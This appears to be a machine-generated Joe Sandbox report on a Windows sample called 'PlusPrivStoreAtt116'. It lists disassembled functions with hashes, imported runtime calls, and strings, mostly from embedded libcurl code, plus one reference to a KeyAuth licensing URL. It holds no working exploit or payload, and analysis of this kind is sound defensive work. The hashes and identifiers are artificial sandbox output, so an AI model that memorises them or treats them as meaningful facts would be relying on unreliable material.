Opcode ID: 5b60497df80a076f26ec4b03495979baa124a4041d4c6624708c24347fefd159
Instruction ID: ed2b0ecb34db227fc7160b8eea445f3fc49967fc4dece27fccea3d0754dd039c
Opcode Fuzzy Hash: 5b60497df80a076f26ec4b03495979baa124a4041d4c6624708c24347fefd159
Instruction Fuzzy Hash: 8AB1AF36A09B8282EF61DF16A4502792BA0FF48B98F684535DE8D87786FF7CE445C700

Function 00007FF6029EC5F0 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 175stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00007FF6029EC651
memchr.VCRUNTIME140 ref: 00007FF6029EC687
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029EC70B
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029EC79B

Strings

%s (%d), xrefs: 00007FF6029EC825, 00007FF6029EC848
blksize is larger than max supported, xrefs: 00007FF6029EC841
%s (%ld), xrefs: 00007FF6029EC802
tsize, xrefs: 00007FF6029EC77F
invalid blocksize value in OACK packet, xrefs: 00007FF6029EC85E
server requested blksize larger than allocated, xrefs: 00007FF6029EC7F8
%s (%ld), xrefs: 00007FF6029EC7AB
blksize is smaller than min supported, xrefs: 00007FF6029EC81E
invalid tsize -:%s:- value in OACK packet, xrefs: 00007FF6029EC877
blksize parsed from OACK, xrefs: 00007FF6029EC743
Malformed ACK packet, rejecting, xrefs: 00007FF6029EC88A
%s (%d) %s (%d), xrefs: 00007FF6029EC75D
blksize, xrefs: 00007FF6029EC6EF
requested, xrefs: 00007FF6029EC74A
got option=(%s) value=(%s), xrefs: 00007FF6029EC6CC
tsize parsed from OACK, xrefs: 00007FF6029EC7A4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memchrstrtol
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$%s (%ld)$Malformed ACK packet, rejecting$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 1626215102-895336422
Opcode ID: d5aa77bd481b7722d0f735f1f26a1f6737cc15dd079a17b9800053efdba2dedf
Instruction ID: 9fca3c3c5296106208f81e84c4ff54bf9f2725730501a3bd9fa57002b6bc0b6f
Opcode Fuzzy Hash: d5aa77bd481b7722d0f735f1f26a1f6737cc15dd079a17b9800053efdba2dedf
Instruction Fuzzy Hash: D261B171A08A4291EF148B57A9406B96E50BF45BE8FB04632D96EC76D6EFBCE106C340

Function 00007FF6029BC710 Relevance: 34.9, APIs: 6, Strings: 17, Instructions: 352COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6067
Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6073

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC9A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC9AC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC9D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC9DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BCA60
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BCA69

Strings

multipart/form-data, xrefs: 00007FF6029BCB67
multipart/mixed, xrefs: 00007FF6029BC805
; filename=", xrefs: 00007FF6029BC9F1
Content-Type, xrefs: 00007FF6029BC798
multipart/, xrefs: 00007FF6029BC947
attachment, xrefs: 00007FF6029BC95B, 00007FF6029BC962
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00007FF6029BCA29
form-data, xrefs: 00007FF6029BCC16
Content-Type: %s%s%s, xrefs: 00007FF6029BCA8D
Content-Disposition, xrefs: 00007FF6029BC8D1
application/octet-stream, xrefs: 00007FF6029BC836
; name=", xrefs: 00007FF6029BC9FF
Content-Transfer-Encoding: %s, xrefs: 00007FF6029BCBF1
Content-Transfer-Encoding, xrefs: 00007FF6029BCAD1
8bit, xrefs: 00007FF6029BCBEA
text/plain, xrefs: 00007FF6029BC87C
; boundary=, xrefs: 00007FF6029BCA83

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 1294909896-1595554923
Opcode ID: b9bc93528b88626dfd995c68e28a706383ab7ecc8f2ad09ecd60a740e55feb49
Instruction ID: 65bd31ff5e38f1a230c7541166f209ab58e13214f9674924e177b82a7f2dc39e
Opcode Fuzzy Hash: b9bc93528b88626dfd995c68e28a706383ab7ecc8f2ad09ecd60a740e55feb49
Instruction Fuzzy Hash: C9E17121B087529AFB668B1396503B96B94FF04B8CFA84436CE4DC7692DFBCE954C340

Function 00007FF6029A6320 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 463COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

memcpy.VCRUNTIME140 ref: 00007FF6029A6496
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6029A6528
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6029A6569
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A66B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A66F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A6740
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A6781
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A67DE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A6898

Part of subcall function 00007FF6029FFB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF6029A43FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029FFB32

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A68D9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A69A6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A69E7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029A6A0A

Strings

rsing , xrefs: 00007FF6029A6478
unexpected , xrefs: 00007FF6029A6823
; expected , xrefs: 00007FF6029A6930
; last read: ', xrefs: 00007FF6029A65EC
syntax error , xrefs: 00007FF6029A636D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$Concurrency::cancel_current_taskmalloc
String ID: ; expected $; last read: '$rsing $syntax error $unexpected
API String ID: 264867259-3075834232
Opcode ID: 5e328f9cc9d509dbc5f0c620a2ea8f70044036c914e68ed5f3d7a5609f240f6d
Instruction ID: a5d491931b22b65484f89368da563a5d60864ef8c58703f28568da645ae5b43b
Opcode Fuzzy Hash: 5e328f9cc9d509dbc5f0c620a2ea8f70044036c914e68ed5f3d7a5609f240f6d
Instruction Fuzzy Hash: 3712D362F08B8285EB14CB66E44436D2B65EF447ACF244234DAAD93ADADFBCD484C340

Function 00007FF6029BA330 Relevance: 31.8, APIs: 21, Instructions: 269stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029BB280: _time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF6029BACFE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9), ref: 00007FF6029BB2A3
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB2F9
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB303
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB30D
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB317
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB321
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB32B
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB335
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB33F
Part of subcall function 00007FF6029BB280: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB348

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA427
strchr.VCRUNTIME140 ref: 00007FF6029BA441
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA46B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA478
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA4A2
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA4B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA4C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA4DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA4EA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA4F8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA513
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA52F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA54B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA567
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA583
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA59F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA5BB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BA5D3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA66B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF6029BA6A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA6E3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup$_time64callocmallocqsortstrchrstrncmp
String ID:
API String ID: 1087521380-0
Opcode ID: c54aa30acb8f7759c872955e7afee6932479ba7e1a429da66d45e5394a038d2b
Instruction ID: 368b183f43fa47fc14a7c24f13605625d1d4d38a7202a5e96f3c1e1864dd30a4
Opcode Fuzzy Hash: c54aa30acb8f7759c872955e7afee6932479ba7e1a429da66d45e5394a038d2b
Instruction Fuzzy Hash: 3CB19061A0AB4685EF568B26966437D2FE1AF44B9CF280535CE5D837C2DFBCE491C310

Function 00007FF6029EEB50 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 214stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EEB60
strstr.VCRUNTIME140 ref: 00007FF6029EEB8F
strchr.VCRUNTIME140 ref: 00007FF6029EEBBB
strrchr.VCRUNTIME140 ref: 00007FF6029EEBD5
strchr.VCRUNTIME140 ref: 00007FF6029EEBEA
strrchr.VCRUNTIME140 ref: 00007FF6029EEC4A

Strings

/, xrefs: 00007FF6029EEBA5
/, xrefs: 00007FF6029EEC63
?, xrefs: 00007FF6029EEBC8
/, xrefs: 00007FF6029EEC1E
., xrefs: 00007FF6029EEC2A

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchrstrrchr$_strdupstrstr
String ID: .$/$/$/$?
API String ID: 2325335452-1821401756
Opcode ID: 79f829142897bcacbe5969e8a8d1b9bc4139d51a05a0ba81aa01496cb51f9548
Instruction ID: 2f45e8738adf37176fba5686b0c0d0d5c84737012e449087f0680b97e96e3ec6
Opcode Fuzzy Hash: 79f829142897bcacbe5969e8a8d1b9bc4139d51a05a0ba81aa01496cb51f9548
Instruction Fuzzy Hash: A4818E22A0C68645FF668B22951037A6FD1BF567ACF684435DA8D863C7FEBCE485C301

Function 00007FF6029E42C0 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 284stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E430D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E43FF
strchr.VCRUNTIME140 ref: 00007FF6029E4341

Part of subcall function 00007FF6029BB430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BB474

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E4567
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E4731
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E4753

Part of subcall function 00007FF6029CF7F0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CF82E

Strings

Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 00007FF6029E453B
%u.%u.%u.%u, xrefs: 00007FF6029E4573
Weirdly formatted EPSV reply, xrefs: 00007FF6029E441F
Illegal port number in EPSV reply, xrefs: 00007FF6029E43BF
%c%c%c%u%c, xrefs: 00007FF6029E437B
%u,%u,%u,%u,%u,%u, xrefs: 00007FF6029E448B
Can't resolve new host %s:%hu, xrefs: 00007FF6029E467E
Connecting to %s (%s) port %d, xrefs: 00007FF6029E470A
Can't resolve proxy host %s:%hu, xrefs: 00007FF6029E4613
Couldn't interpret the 227-response, xrefs: 00007FF6029E44AE
Bad PASV/EPSV response: %03d, xrefs: 00007FF6029E477E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree$__stdio_common_vsscanfstrchr
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 3103143820-2414412286
Opcode ID: a36134f17173d3b68bf390f24a32a1e2c938ac05ee6e864fa08eba1b0f79a6e0
Instruction ID: 2014c7149aa3c037bc2703c9df5b4ca5645b2347504258ce5bbbce6cb98dbfaf
Opcode Fuzzy Hash: a36134f17173d3b68bf390f24a32a1e2c938ac05ee6e864fa08eba1b0f79a6e0
Instruction Fuzzy Hash: 7FD19732B0868292EF54DB22E5402B9ABA4FF85B9CF641431DB4D83B56EFBCE550C701

Function 00007FF6029C4B50 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 219COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4E72

Strings

socks, xrefs: 00007FF6029C4C5A
socks4, xrefs: 00007FF6029C4C46
socks4a, xrefs: 00007FF6029C4C2B
Unsupported proxy scheme for '%s', xrefs: 00007FF6029C4C81
Unsupported proxy syntax in '%s', xrefs: 00007FF6029C4E5A
http, xrefs: 00007FF6029C4C6E
socks5, xrefs: 00007FF6029C4C10
Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support., xrefs: 00007FF6029C4CB4
socks5h, xrefs: 00007FF6029C4BF2
https, xrefs: 00007FF6029C4BD4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support.$Unsupported proxy scheme for '%s'$Unsupported proxy syntax in '%s'$http$https$socks$socks4$socks4a$socks5$socks5h
API String ID: 1294909896-874090715
Opcode ID: 52d69756cb498b6cbae8a9f5df6243dd581b2c397a197d2a953b2a52a7e64667
Instruction ID: c3cec43ae607c0eec635111741581022ece07a485a18730c790f65b3caa9dea0
Opcode Fuzzy Hash: 52d69756cb498b6cbae8a9f5df6243dd581b2c397a197d2a953b2a52a7e64667
Instruction Fuzzy Hash: 9DA19A72F0864285FB10EB62E8606BD2BA4BF44B9CF651931DE0C97696EFBCE544C310

Function 00007FF6029E3770 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 208stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029DC990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF6029C3D1F), ref: 00007FF6029DC9BE

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E3846
strchr.VCRUNTIME140 ref: 00007FF6029E3864
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E3894
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E38AF
strchr.VCRUNTIME140 ref: 00007FF6029E38D9
strrchr.VCRUNTIME140 ref: 00007FF6029E38F5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E391F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E393A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E395E
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E3976
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E39B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E39F0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E3A8C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E3AB1

Strings

Request has same path as previous transfer, xrefs: 00007FF6029E3A96
Uploading to a URL without a file name!, xrefs: 00007FF6029E39DC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: calloc$free$strchrstrncpy$_strdupmallocstrncmpstrrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
API String ID: 2243338858-131330169
Opcode ID: a534b1e47e6b89b57045d23a567eff78843472f2b3767f7a7f203d093dd9f04f
Instruction ID: fea386d716d1afe3f6ccb4ef1dccf90cede743e43fabbbdb1ae201097eee5f59
Opcode Fuzzy Hash: a534b1e47e6b89b57045d23a567eff78843472f2b3767f7a7f203d093dd9f04f
Instruction Fuzzy Hash: 1A91AD32B0878282EF548B26D4543B97BA0FF85B88F644075DE9E83796EF7CE4958701

Function 00007FF6029BACB0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAD13
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAD8D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BADB1
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE00
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE3A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE4C
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE5F
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE7A
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE90
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029BAE99

Strings

# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00007FF6029BAD86
## Fatal libcurl error, xrefs: 00007FF6029BAEC7
%s, xrefs: 00007FF6029BAE2B
%s.%s.tmp, xrefs: 00007FF6029BAD4A

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$fclose$__acrt_iob_func_unlinkcallocfputsqsort
String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
API String ID: 1368378007-4087121635
Opcode ID: 77a6b52ac05e3fa1a879076784fd047fa84354676dcf23460523790ff3c71d28
Instruction ID: d0cf34c20efd54bb93fa8b155730acd27bfda02eaa7416be2603c7209f36a93b
Opcode Fuzzy Hash: 77a6b52ac05e3fa1a879076784fd047fa84354676dcf23460523790ff3c71d28
Instruction Fuzzy Hash: E8519325B0D74685FF669B23AA5427A2BA0BF84BDDF644431DD4EC7392EEBCE405C200

